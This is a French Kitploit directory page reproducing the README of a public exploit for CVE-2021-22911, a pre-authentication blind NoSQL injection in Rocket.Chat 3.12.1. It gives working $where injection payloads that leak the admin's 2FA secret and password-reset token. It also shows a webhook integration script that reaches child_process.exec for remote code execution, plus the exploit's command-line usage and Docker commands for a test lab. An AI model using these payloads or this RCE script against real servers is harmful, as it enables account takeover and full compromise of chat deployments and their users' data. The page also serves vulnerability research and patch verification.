Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-22911 | Kitploit
Outils/GitHubGitHub/mrdottt/cve-2021-22911
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à Distance
GitHubmrdottt/cve-2021-22911

CVE-2021-22911

Voir le dépôt
1il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-22911

Injection NoSQL aveugle avant authentification menant à une exécution de code à distance dans Rocket Chat 3.12.1

  • La méthode getPasswordPolicy est vulnérable aux attaques par injection NoSQL et ne nécessite ni authentification ni autorisation. Elle peut être utilisée pour prendre le contrôle de comptes en divulguant les jetons de réinitialisation de mot de passe. La prise de contrôle d'un compte administrateur mène à une exécution de code à distance.

Explication

  1. Détournement du compte utilisateur ( non authentifié )
  • Il y a une injection NoSQL dans le paramètre token de réinitialisation de mot de passe du point de terminaison getPasswordPolicy, qui accepte un objet json nous permettant d'utiliser l'opérateur $regex. Nous l'utilisons pour effectuer une injection NoSQL aveugle afin d'obtenir le jeton de réinitialisation.
  1. Élévation de privilèges vers admin ( authentifié )
  • L'utilisateur admin est très probablement protégé par la 2FA. Donc même si nous changeons le mot de passe de l'admin via (1), une demande de code 2FA sera affichée à la connexion.

  • Le point de terminaison d'API users.list prend un paramètre de requête vulnérable à l'injection NoSQL. Nous pouvons également récupérer des données en déclenchant une erreur.

  • Nous exécutons la requête suivante pour obtenir le secret 2FA de l'admin : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • Ensuite, nous faisons simplement (1) pour réinitialiser le mot de passe de l'admin et utilisons le secret 2FA pour générer le code qui nous permettra de nous connecter.

  • Mis à jour : Vous pouvez également récupérer le jeton de réinitialisation de la même manière que vous avez récupéré le secret 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE ( authentifié - Admin )
  • Rocket.Chat dispose d'une fonctionnalité appelée Intégrations qui permet de créer des webhooks entrants et sortants. Ces webhooks peuvent avoir des scripts associés qui sont exécutés lorsque le webhook est déclenché.
  • Nous créons une intégration avec le script suivant :
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • Ensuite, il suffit de déclencher le webhook pour obtenir le rce :)

Utilisation

  • Vous aurez besoin de l'e-mail d'un utilisateur à faibles privilèges qui n'a pas configuré la 2FA. ( -u )
  • Vous aurez également besoin de connaître l'e-mail de l'administrateur. Pas un problème si l'admin est protégé par la 2FA. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Environnement

  • Testé sur Rocket Chat 3.12.1
  • Construire votre propre environnement de test avec docker :
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • Activer la politique de mot de passe
  • Activer la 2FA pour l'administrateur
  • Créer un utilisateur normal.

REMARQUE : Si vous ne souhaitez pas que l'administrateur soit protégé par la 2FA, vous pouvez procéder comme suit.

  1. Envoyer l'e-mail de mot de passe oublié
  2. Obtenir le jeton de réinitialisation pour l'admin
  3. Changer le mot de passe en utilisant le jeton de réinitialisation récupéré
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Crédits

  • https://hackerone.com/reports/1130721 ( sonar source )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Télécharger l’outil